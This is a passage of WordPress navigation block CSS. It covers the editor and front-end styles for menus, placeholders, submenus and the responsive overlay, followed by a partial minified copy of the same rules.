.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{
  visibility:visible;
}

.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{
  display:block;
  position:static;
  width:100%;
}
.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  margin-left:0;
  margin-right:auto;
  padding:0;
  width:24px;
}

.wp-block-navigation__submenu-container .block-list-appender{
  display:none;
}
.block-library-colors-selector{
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__toggle{
  display:block;
  margin:0 auto;
  padding:3px;
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__icon-container{
  align-items:center;
  border-radius:4px;
  display:flex;
  height:30px;
  margin:0 auto;
  padding:3px;
  position:relative;
}
.block-library-colors-selector .block-library-colors-selector__state-selection{
  border-radius:11px;
  box-shadow:inset 0 0 0 1px #0003;
  height:22px;
  line-height:20px;
  margin-left:auto;
  margin-right:auto;
  min-height:22px;
  min-width:22px;
  padding:2px;
  width:22px;
}
.block-library-colors-selector .block-library-colors-selector__state-selection>svg{
  min-width:auto !important;
}
.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{
  color:inherit;
}

.block-library-colors-selector__popover .color-palette-controller-container{
  padding:16px;
}
.block-library-colors-selector__popover .components-base-control__label{
  height:20px;
  line-height:20px;
}
.block-library-colors-selector__popover .component-color-indicator{
  float:left;
  margin-top:2px;
}
.block-library-colors-selector__popover .components-panel__body-title{
  display:none;
}

.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{
  background-color:#1e1e1e;
  color:#fff;
}
.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{
  padding:0;
}

.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{
  background-color:initial;
  color:#1e1e1e;
}
@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:.5;
  }
  to{
    opacity:1;
  }
}
.components-placeholder.wp-block-navigation-placeholder{
  background:none;
  box-shadow:none;
  color:inherit;
  min-height:0;
  outline:none;
  padding:0;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{
  font-size:inherit;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{
  margin-bottom:0;
}
.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{
  color:#1e1e1e;
}

.wp-block-navigation-placeholder__preview{
  align-items:center;
  background:#0000;
  color:currentColor;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  min-width:96px;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{
  display:none;
}
.wp-block-navigation-placeholder__preview:before{
  border:1px dashed;
  border-radius:2px;
  border-radius:inherit;
  bottom:0;
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview:before:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview>svg{
  fill:currentColor;
}

.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{
  min-height:90px;
}

.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{
  min-height:132px;
}

.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{
  align-items:flex-start;
  flex-direction:row;
  padding:6px 8px;
}

.wp-block-navigation-placeholder__controls{
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:none;
  float:right;
  position:relative;
  width:100%;
  z-index:1;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{
  display:flex;
}
.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{
  display:none;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{
  align-items:flex-start;
  flex-direction:column;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{
  display:none;
}
.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{
  height:36px;
  margin-left:12px;
}

.wp-block-navigation-placeholder__actions__indicator{
  align-items:center;
  display:flex;
  height:36px;
  justify-content:flex-start;
  line-height:0;
  margin-right:4px;
  padding:0 0 0 6px;
}
.wp-block-navigation-placeholder__actions__indicator svg{
  margin-left:4px;
  fill:currentColor;
}

.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{
  flex-direction:row !important;
}

.wp-block-navigation-placeholder__actions{
  align-items:center;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  gap:6px;
  height:100%;
}
.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{
  margin-left:0;
}
.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{
  background-color:#1e1e1e;
  border:0;
  height:100%;
  margin:auto 0;
  max-height:16px;
  min-height:1px;
  min-width:1px;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{
    display:none;
  }
}

.wp-block-navigation__responsive-container.is-menu-open{
  position:fixed;
  top:155px;
}
@media (min-width:782px){
  .wp-block-navigation__responsive-container.is-menu-open{
    right:36px;
    top:93px;
  }
}
@media (min-width:960px){
  .wp-block-navigation__responsive-container.is-menu-open{
    right:160px;
  }
}

@media (min-width:782px){
  .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:141px;
  }
}

.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:141px;
}

.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{
  left:280px;
}

.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
  right:0;
  top:155px;
}
@media (min-width:782px){
  .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
    top:61px;
  }
  .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:109px;
  }
}
.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:109px;
}

body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{
  bottom:0;
  left:0;
  right:0;
  top:0;
}

.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  color:inherit;
  height:auto;
  padding:0;
}

.components-heading.wp-block-navigation-off-canvas-editor__title{
  margin:0;
}

.wp-block-navigation-off-canvas-editor__header{
  margin-bottom:8px;
}

.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{
  margin-top:16px;
}

@keyframes fadein{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block-navigation__loading-indicator-container{
  padding:8px 12px;
}

.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{
  margin-top:0;
}

@keyframes fadeouthalf{
  0%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.wp-block-navigation-delete-menu-button{
  justify-content:center;
  margin-bottom:16px;
  width:100%;
}

.components-button.is-link.wp-block-navigation-manage-menus-button{
  margin-bottom:16px;
}

.wp-block-navigation__overlay-menu-preview{
  align-items:center;
  background-color:#f0f0f0;
  display:flex;
  height:64px;
  justify-content:space-between;
  margin-bottom:12px;
  padding:0 24px;
  width:100%;
}
.wp-block-navigation__overlay-menu-preview.open{
  background-color:#fff;
  box-shadow:inset 0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
}

.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{
  display:none;
}
.wp-block-navigation__navigation-selector{
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__navigation-selector-button{
  border:1px solid;
  justify-content:space-between;
  width:100%;
}

.wp-block-navigation__navigation-selector-button__icon{
  flex:0 0 auto;
}

.wp-block-navigation__navigation-selector-button__label{
  flex:0 1 auto;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.wp-block-navigation__navigation-selector-button--createnew{
  border:1px solid;
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__responsive-container-open.components-button{
  opacity:1;
}

.wp-block-navigation__menu-inspector-controls{
  overflow-x:auto;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  will-change:transform;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .wp-block-navigation__menu-inspector-controls{
    scrollbar-color:#949494 #0000;
  }
}

.wp-block-navigation__menu-inspector-controls__empty-message{
  margin-right:24px;
}.wp-block-navigation{
  position:relative;
  --navigation-layout-justification-setting:flex-start;
  --navigation-layout-direction:row;
  --navigation-layout-wrap:wrap;
  --navigation-layout-justify:flex-start;
  --navigation-layout-align:center;
}
.wp-block-navigation ul{
  margin-bottom:0;
  margin-left:0;
  margin-top:0;
  padding-left:0;
}
.wp-block-navigation ul,.wp-block-navigation ul li{
  list-style:none;
  padding:0;
}
.wp-block-navigation .wp-block-navigation-item{
  align-items:center;
  background-color:inherit;
  display:flex;
  position:relative;
}
.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{
  display:none;
}
.wp-block-navigation .wp-block-navigation-item__content{
  display:block;
}
.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{
  color:inherit;
}
.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{
  text-decoration:underline;
}
.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{
  text-decoration:line-through;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a{
  text-decoration:none;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{
  text-decoration:none;
}
.wp-block-navigation .wp-block-navigation__submenu-icon{
  align-self:center;
  background-color:inherit;
  border:none;
  color:currentColor;
  display:inline-block;
  font-size:inherit;
  height:.6em;
  line-height:0;
  margin-left:.25em;
  padding:0;
  width:.6em;
}
.wp-block-navigation .wp-block-navigation__submenu-icon svg{
  display:inline-block;
  stroke:currentColor;
  height:inherit;
  margin-top:.075em;
  width:inherit;
}
.wp-block-navigation.is-vertical{
  --navigation-layout-direction:column;
  --navigation-layout-justify:initial;
  --navigation-layout-align:flex-start;
}
.wp-block-navigation.no-wrap{
  --navigation-layout-wrap:nowrap;
}
.wp-block-navigation.items-justified-center{
  --navigation-layout-justification-setting:center;
  --navigation-layout-justify:center;
}
.wp-block-navigation.items-justified-center.is-vertical{
  --navigation-layout-align:center;
}
.wp-block-navigation.items-justified-right{
  --navigation-layout-justification-setting:flex-end;
  --navigation-layout-justify:flex-end;
}
.wp-block-navigation.items-justified-right.is-vertical{
  --navigation-layout-align:flex-end;
}
.wp-block-navigation.items-justified-space-between{
  --navigation-layout-justification-setting:space-between;
  --navigation-layout-justify:space-between;
}

.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  align-items:normal;
  background-color:inherit;
  color:inherit;
  display:flex;
  flex-direction:column;
  height:0;
  left:-1px;
  opacity:0;
  overflow:hidden;
  position:absolute;
  top:100%;
  transition:opacity .1s linear;
  visibility:hidden;
  width:0;
  z-index:2;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{
  display:flex;
  flex-grow:1;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{
  margin-left:auto;
  margin-right:0;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{
  margin:0;
}
@media (min-width:782px){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:-1px;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    position:absolute;
    right:100%;
    width:.5em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{
    margin-right:.25em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{
    transform:rotate(-90deg);
  }
}
.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:visible;
  visibility:visible;
  width:auto;
}

.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{
  left:0;
  top:100%;
}
@media (min-width:782px){
  .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:0;
  }
}

.wp-block-navigation-submenu{
  display:flex;
  position:relative;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{
  stroke:currentColor;
}

button.wp-block-navigation-item__content{
  background-color:initial;
  border:none;
  color:currentColor;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  line-height:inherit;
  text-align:left;
  text-transform:inherit;
}

.wp-block-navigation-submenu__toggle{
  cursor:pointer;
}

.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{
  padding-left:0;
  padding-right:.85em;
}
.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{
  margin-left:-.6em;
  pointer-events:none;
}

.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){
  padding:0;
}
.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{
  gap:inherit;
}
:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){
  padding:.5em 1em;
}

:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){
  padding:.5em 1em;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{
  left:auto;
  right:0;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
  left:-1px;
  right:-1px;
}
@media (min-width:782px){
  .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:auto;
    right:100%;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{
  background-color:#fff;
  border:1px solid #00000026;
}

.wp-block-navigation.has-background .wp-block-navigation__submenu-container{
  background-color:inherit;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{
  color:#000;
}

.wp-block-navigation__container{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
  list-style:none;
  margin:0;
  padding-left:0;
}
.wp-block-navigation__container .is-responsive{
  display:none;
}

.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{
  flex-grow:1;
}
@keyframes overlay-menu__fade-in-animation{
  0%{
    opacity:0;
    transform:translateY(.5em);
  }
  to{
    opacity:1;
    transform:translateY(0);
  }
}
.wp-block-navigation__responsive-container{
  bottom:0;
  display:none;
  left:0;
  position:fixed;
  right:0;
  top:0;
}
.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){
  color:inherit;
}
.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){
  background-color:inherit !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open{
  animation:overlay-menu__fade-in-animation .1s ease-out;
  animation-fill-mode:forwards;
  background-color:inherit;
  display:flex;
  flex-direction:column;
  overflow:auto;
  padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20em);
  z-index:100000;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-navigation__responsive-container.is-menu-open{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-justification-setting, inherit);
  display:flex;
  flex-direction:column;
  flex-wrap:nowrap;
  overflow:visible;
  padding-top:calc(2rem + 24px);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  justify-content:flex-start;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{
  display:none;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{
  border:none;
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:initial;
  padding-left:2rem;
  padding-right:2rem;
  position:static;
  visibility:visible;
  width:auto;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  gap:inherit;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  padding-top:var(--wp--style--block-gap, 2em);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{
  padding:0;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  align-items:var(--navigation-layout-justification-setting, initial);
  display:flex;
  flex-direction:column;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{
  background:#0000 !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
  left:auto;
  right:auto;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){
    background-color:inherit;
    display:block;
    position:relative;
    width:100%;
    z-index:auto;
  }
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{
    display:none;
  }
  .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
    left:0;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{
  background-color:#fff;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{
  color:#000;
}

.wp-block-navigation__toggle_button_label{
  font-size:1rem;
  font-weight:700;
}

.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{
  background:#0000;
  border:none;
  color:currentColor;
  cursor:pointer;
  margin:0;
  padding:0;
  text-transform:inherit;
  vertical-align:middle;
}
.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{
  fill:currentColor;
  display:block;
  height:24px;
  pointer-events:none;
  width:24px;
}

.wp-block-navigation__responsive-container-open{
  display:flex;
}
.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container-open:not(.always-shown){
    display:none;
  }
}

.wp-block-navigation__responsive-container-close{
  position:absolute;
  right:0;
  top:0;
  z-index:2;
}
.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}

.wp-block-navigation__responsive-close{
  width:100%;
}
.has-modal-open .wp-block-navigation__responsive-close{
  margin-left:auto;
  margin-right:auto;
  max-width:var(--wp--style--global--wide-size, 100%);
}
.wp-block-navigation__responsive-close:focus{
  outline:none;
}

.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{
  box-sizing:border-box;
}

.wp-block-navigation__responsive-dialog{
  position:relative;
}

.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
  margin-top:46px;
}
@media (min-width:782px){
  .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
    margin-top:32px;
  }
}

html.has-modal-open{
  overflow:hidden;
}.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;background-color:inherit;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a{text-decoration:none}.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-left:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;left:-1px;opacity:0;overflow:hidden;position:absolute;top:100%;transition:opacity .1s linear;visibility:hidden;width:0;z-index:2}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:auto;margin-right:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-right:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(-90deg)}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{left:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon 